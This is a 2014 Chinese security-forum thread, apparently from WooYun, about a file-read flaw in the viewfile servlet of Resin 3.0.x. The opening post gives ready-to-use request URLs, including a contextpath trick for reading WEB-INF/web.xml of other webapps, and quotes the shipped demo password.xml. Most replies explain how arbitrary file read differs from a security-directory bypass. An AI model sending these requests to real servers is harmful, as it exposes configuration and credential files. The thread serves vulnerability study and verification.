Resin viewfile远程文件读取漏洞(未通过审核的同学可以看看)

Finger (Save water. Shower with your girlfriend.) | 2014-01-13 12:04

受影响系统:

Caucho Technology Resin v3.0.18
Caucho Technology Resin v3.0.17
Caucho Technology Resin v3.0.16
Caucho Technology Resin v3.0.15
Caucho Technology Resin v3.0.14
Caucho Technology Resin v3.0.13
Caucho Technology Resin v3.0.12
Caucho Technology Resin v3.0.11
Caucho Technology Resin v3.0.10

默认下Resin的/webapps目录下/resin-doc中包含有一个扩展war文件。该文档包含有用于在集成的手册中浏览文件的servlet:

http://localhost/resin-doc/viewfile/?contextpath=%2Fresin-doc%2Fjmx%2Ftutorial%2Fbasic&servletpath=%2Findex.xtp&file=index.jsp&re-marker=&re-start=&re-end=#code-highlight

viewfile servlet可以无需参数在Web主目录中浏览任意文件:

http://localhost/resin-doc/viewfile/?file=index.jsp

请注意这句话:

攻击者可以设置resin-doc外的上下文路径,读取其他Web主目录的任意文件:

http://localhost/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml

描器扫出来的这些,证明不了什么

http://localhost/resin-doc/examples/security-basic/viewfile?file=WEB-INF/web.xml
http://localhost/resin-doc/examples/security-basic/viewfile?file=password.xml

examples = 例子

有人可能会觉得读出password.xml了,是敏感信息,下面是我刚下载的resin内resin-doc\examples\security-basic\WEB-INF\password.xml文件的内容,可以和大家读到的对比下。

这个文件只是examples

<!-- password.xml -->
<authenticator>
    <!-- professors -->
    <user name='snape' password='I7HdZr7CTM6hZLlSd2o+CA==' roles='professor,slytherin'/>
    <user name='mcgonagall' password='4slsTREVeTo0sv5hGkZWag==' roles='professor,gryffindor'/>
    <!-- students -->
    <user name='harry' password='uTOZTGaB6pooMDvqvl2Lbg==' roles='student,gryffindor'/>
    <user name='dmalfoy' password='yI2uN1l97Rv5E6mdRnDFwQ==' roles='student,slytherin'/>
    <!-- alumni -->
    <user name='lmalfoy' password='sj/yhtU1h4LZPw7/Uy9IVA==' roles='alumni,gryffindor'/>
</authenticator>

[原文地址]

各种吐槽:

1#

Finger (Save water. Shower with your girlfriend.) | 2014-01-13 12:06

@sky

2#

xsser (十根阳具有长短!!) | 2014-01-13 12:08

支持一个!

3#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-13 12:45

呵呵,http://drops.wooyun.org/tips/604

4#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-13 12:48

如果没能跨出resin-doc读取的配置信息都没意义,example的一直都能读,resin密码读出来也没用。

5#

Finger (Save water. Shower with your girlfriend.) | 2014-01-13 13:03

如果web部署在resin-doc下应该可以读到敏感内容,但这种情况...

6#感谢(1)

Nebula | 2014-01-13 13:26

这里请大家注意j2ee"任意文件读取"与"安全目录绕过"这两个漏洞的区别!

可能大家在学习"任意文件读取"有个误区,参数后面跟文件相对路径能读到文件,就以为是"任意文件读取"漏洞,在j2ee中这可能是错误的理解.

java"任意文件读取"漏洞代码一般是File类(文件操作的相关类)实现的,如果代码无其他安全限制,肯定是任意文件漏洞!

而"安全目录绕过",请参考:http://zone.wooyun.org/content/3012,注意它是无法跨越当前应用根目录的,因为它是servlet实现内部"转发"造成安全目录绕过(比如:WEB-INF目录)

就resin而言,这里大家碰到的场景可能是两个漏洞情况,请比对:版本,漏洞的读取地址等,有时候代码是"任意文件读取"漏洞,但真实环境可能不能读.最好的验证办法:你最好能够能跨应用根目录.至于,如果有人把应用部署到主目录(resin自带的demo应用就不说了,它是没有危害的(但对于resin来说,它算是漏洞,但对部署者可能就不算了,可能一时没有实际危害!)!),能读到,也只是“安全目录饶过”漏洞,可能这个大家碰到这种情况比较多!

7#

hacker@sina.cn | 2014-01-13 13:30

顶楼上

8#

Finger (Save water. Shower with your girlfriend.) | 2014-01-13 15:00

@Nebula 我就喜欢这样的回复 zone是大家讨论、学习的地方 不是娱乐的地方

9#

HackBraid | 2014-01-13 15:11

关注

10#

李旭敏 ((҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉҉) | 2014-01-13 16:14

我好像记得乌云提交漏洞的规则中有一条是要验证过漏洞的真实性,而不只是转载或者依靠扫描器不分析和实验。

不过还是顶个··

11#

Finger (Save water. Shower with your girlfriend.) | 2014-01-13 17:36

表示某些漏洞扫描的很坑

12#

ioio (木婉清) | 2014-01-13 17:56

玩球,习惯性的想点击喜欢,结果直接点了不喜欢~~~ 囧

13#

sky (()()()()()(等级:史上无敌最佳新人白帽子) | 2014-01-13 18:23

= =

14#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-01-14 08:40

mark,.